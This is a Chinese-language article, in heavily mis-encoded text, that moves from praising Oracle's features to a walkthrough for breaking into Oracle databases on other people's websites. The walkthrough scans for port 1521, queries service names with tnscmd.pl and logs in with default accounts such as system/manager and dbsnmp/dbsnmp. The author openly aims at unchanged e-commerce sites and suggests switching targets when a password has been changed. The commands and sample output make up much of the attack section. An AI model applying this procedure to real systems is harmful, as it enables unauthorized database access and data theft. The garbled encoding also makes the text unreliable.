一、先看下面的一個(gè)貼子: Oracle數(shù)據(jù)庫(kù)是現(xiàn)在很流行的數(shù)據(jù)庫(kù)系統(tǒng)，很多大型網(wǎng)站都采用Oracle，它之所以倍受用戶喜愛(ài)是因?yàn)樗幸韵峦怀龅奶攸c(diǎn)： 1、支持大數(shù)據(jù)庫(kù)、多用戶的高性能的事務(wù)處理。Oracle支持最大數(shù)據(jù)庫(kù)，其大小可到幾百千兆，可充分利用硬件設(shè)備。支持大量用戶同時(shí)在同一數(shù)據(jù)上執(zhí)行各種數(shù)據(jù)應(yīng)用，并使數(shù)據(jù)爭(zhēng)用最小，保證數(shù)據(jù)一致性。系統(tǒng)維護(hù)具有高的性能，Oracle每天可連續(xù)24小時(shí)工作，正常的系統(tǒng)操作(后備或個(gè)別計(jì)算機(jī)系統(tǒng)故障)不會(huì)中斷數(shù)據(jù)庫(kù)的使用?？煽刂茢?shù)據(jù)庫(kù)數(shù)據(jù)的可用性，可在數(shù)據(jù)庫(kù)級(jí)或在子數(shù)據(jù)庫(kù)級(jí)上控制。 2、Oracle遵守?cái)?shù)據(jù)存取語(yǔ)言、操作系統(tǒng)、用戶接口和網(wǎng)絡(luò)通信協(xié)議的工業(yè)標(biāo)準(zhǔn)。所以它是一個(gè)開(kāi)放系統(tǒng)，保護(hù)了用戶的投資。美國(guó)標(biāo)準(zhǔn)化和技術(shù)研究所(NIST)對(duì)Oracle7 SERVER進(jìn)行檢驗(yàn)，100%地與ANSI/ISO SQL89標(biāo)準(zhǔn)的二級(jí)相兼容。 3、實(shí)施安全性控制和完整性控制。Oracle為限制各監(jiān)控?cái)?shù)據(jù)存取提供系統(tǒng)可靠的安全性。Oracle實(shí)施數(shù)據(jù)完整性，為可接受的數(shù)據(jù)指定標(biāo)準(zhǔn)。 4、支持分布式數(shù)據(jù)庫(kù)和分布處理。Oracle為了充分利用計(jì)算機(jī)系統(tǒng)和網(wǎng)絡(luò)，允許將處理分為數(shù)據(jù)庫(kù)服務(wù)器和客戶應(yīng)用程序，所有共享的數(shù)據(jù)管理由數(shù)據(jù)庫(kù)管理系統(tǒng)的計(jì)算機(jī)處理，而運(yùn)行數(shù)據(jù)庫(kù)應(yīng)用的工作站集中于解釋和顯示數(shù)據(jù)。通過(guò)網(wǎng)絡(luò)連接的計(jì)算機(jī)環(huán)境，Oracle將存放在多臺(tái)計(jì)算機(jī)上的數(shù)據(jù)組合成一個(gè)邏輯數(shù)據(jù)庫(kù)，可被全部網(wǎng)絡(luò)用戶存取。分布式系統(tǒng)像集中式數(shù)據(jù)庫(kù)一樣具有透明性和數(shù)據(jù)一致性。 具有可移植性、可兼容性和可連接性。由于Oracle軟件可在許多不同的操作系統(tǒng)上運(yùn)行，以致Oracle上所開(kāi)發(fā)的應(yīng)用可移植到任何操作系統(tǒng)，只需很少修改或不需修改。Oracle軟件同工業(yè)標(biāo)準(zhǔn)相兼容，包括很多工業(yè)標(biāo)準(zhǔn)的操作系統(tǒng)，所開(kāi)發(fā)應(yīng)用系統(tǒng)可在任何操作系統(tǒng)上運(yùn)行。可連接性是指ORALCE允許不同類型的計(jì)算機(jī)和操作系統(tǒng)通過(guò)網(wǎng)絡(luò)可共享信息。 雖然Oracle數(shù)據(jù)庫(kù)具有很高的安全性，但是如果我們?cè)谂渲玫臅r(shí)候不注意安全意識(shí)，那么也是很危險(xiǎn)的。也就是說(shuō)，安全最主要的還是要靠人自己，而不能過(guò)分依賴軟件來(lái)實(shí)現(xiàn)。 我們知道，在mssql中，安裝完成后默認(rèn)有個(gè)sa的登陸密碼為空，如果不更改就會(huì)產(chǎn)生安全漏洞。那么oracle呢?也有的。為了安裝和調(diào)試的方便，Oracle數(shù)據(jù)庫(kù)中的兩個(gè)具有DBA權(quán)限的用戶Sys和System的缺省密碼是manager。筆者發(fā)現(xiàn)很多國(guó)內(nèi)網(wǎng)站的Oracle數(shù)據(jù)庫(kù)沒(méi)有更改這兩個(gè)用戶的密碼，其中也包括很多大型的電子商務(wù)網(wǎng)站， 我們就可以利用這個(gè)缺省密碼去找我們感興趣的東西。如何實(shí)現(xiàn)，看下面的文章吧。 進(jìn)行測(cè)試前我們先來(lái)了解一些相關(guān)的知識(shí)，我們連接一個(gè)Oracle數(shù)據(jù)庫(kù)的時(shí)候，需要知道它的service_name或者是Sid值，就象mssql一樣，需要知道數(shù)據(jù)庫(kù)名。那如何去知道呢，猜?呵呵，顯然是不行的。這里我們先講講oracle的TNS listener，它位于數(shù)據(jù)庫(kù)Client和數(shù)據(jù)庫(kù)Server之間，默認(rèn)監(jiān)聽(tīng)1521端口，這個(gè)監(jiān)聽(tīng)端口是可以更改的。但是如果你用一個(gè)tcp的session去連接1521端口的話，oracle將不會(huì)返回它的banner，如果你輸入一些東西的話，它甚至有可能把你踢出去。這里我們就需要用tnscmd.pl這個(gè)perl程序了，它可以查詢遠(yuǎn)程oracle數(shù)據(jù)庫(kù)是否開(kāi)啟(也就是ping了)，查詢版本，以及查詢它的服務(wù)名，服務(wù)狀態(tài)和數(shù)據(jù)庫(kù)服務(wù)名，而且正確率很高。 理論方面的講完了，如果還有什么不懂的可以去查找相關(guān)資料。現(xiàn)在開(kāi)始測(cè)試吧，需要的工具有：ActivePerl，Oracle客戶端，Superscan或者是其它掃描端口的軟件， Tnscmd.pl。 我們先用Superscan掃描開(kāi)放了端口1521的主機(jī)，假設(shè)其IP是xx.xx.110.110，這樣目標(biāo)已經(jīng)有了。然后我們要做的就是用Tnscmd.pl來(lái)查詢遠(yuǎn)程數(shù)據(jù)庫(kù)的服務(wù)名了，Tnscmd.pl的用法如下： 　C:perlbin>perl tnscmd.pl usage: tnscmd.pl [command] -h hostname where 'command' is something like ping, version, status, etc. (default is ping) [-p port] - alternate TCP port to use (default is 1521) [--logfile logfile] - write raw packets to specified logfile [--indent] - indent & outdent on parens [--rawcmd command] - build your own CONNECT_DATA string [--cmdsize bytes] - fake TNS command size (reveals packet leakage)
我們下面用的只有簡(jiǎn)單的幾個(gè)命令，其他的命令也很好用，一起去發(fā)掘吧。 然后我們就這樣來(lái)： 　C:perlbin>perl tnscmd.pl services -h xx.xx.110.110 -p 1521 –indent sending (CONNECT_DATA=(COMMAND=services)) to xx.xx.110.110:1521 writing 91 bytes reading ._.......6.........?. .......... DESCRIPTION= TMP= VSNNUM=135286784 ERR=0 SERVICES_EXIST=1 .Q........ SERVICE= SERVICE_NAME=ORCL INSTANCE= INSTANCE_NAME=ORCL NUM=1 INSTANCE_CLASS=ORACLE HANDLER= HANDLER_DISPLAY=DEDICATED SERVER STA=ready HANDLER_INFO=LOCAL SERVER HANDLER_MAXLOAD=0 HANDLER_LOAD=0 ESTABLISHED=447278 REFUSED=0 HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227 HANDLER_NAME=DEDICATED ADDRESS= PROTOCOL=beq PROGRAM=/home/oracle/bin/oracle ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL' ARGV0=oracleORCL ARGS=' LOCAL=NO ' .........@
從上面得到的信息我們可以看出數(shù)據(jù)庫(kù)的服務(wù)名為ORCL，然后我們就可以通過(guò)sqlplus工具來(lái)遠(yuǎn)程連上它了，用戶名和密碼我們用默認(rèn)的system/manager或者是sys/manager，其他的如mdsys/mdsys，ctxsys/ctxsys等，這個(gè)默認(rèn)用戶和密碼是隨版本的不同而改變的。如下： 　C:oracleora90BIN>sqlplus /nolog SQL*Plus: Release 9.0.1.0.1 - Production on Thu May 23 11:36:59 2002 (c) Copyright 2001 Oracle Corporation.　All rights reserved. SQL>connect system/manager@ (description=(address_list=(address=(protocol=tcp) (host=xx.xx.110.110)(port=1521))) (connect_data=(SERVICE_NAME=ORCL))); 如果密碼正確，那么就會(huì)提示connected，如果不行,再換別的默認(rèn)用戶名和密碼。經(jīng)過(guò)筆者的嘗試一般用dbsnmp/dbsnmp都能進(jìn)去。當(dāng)然如果對(duì)方已經(jīng)把默認(rèn)密碼改了，那我們只能換別的目標(biāo)了。但是我發(fā)現(xiàn)很多都是不改的，這個(gè)就是安全意識(shí)的問(wèn)題了。
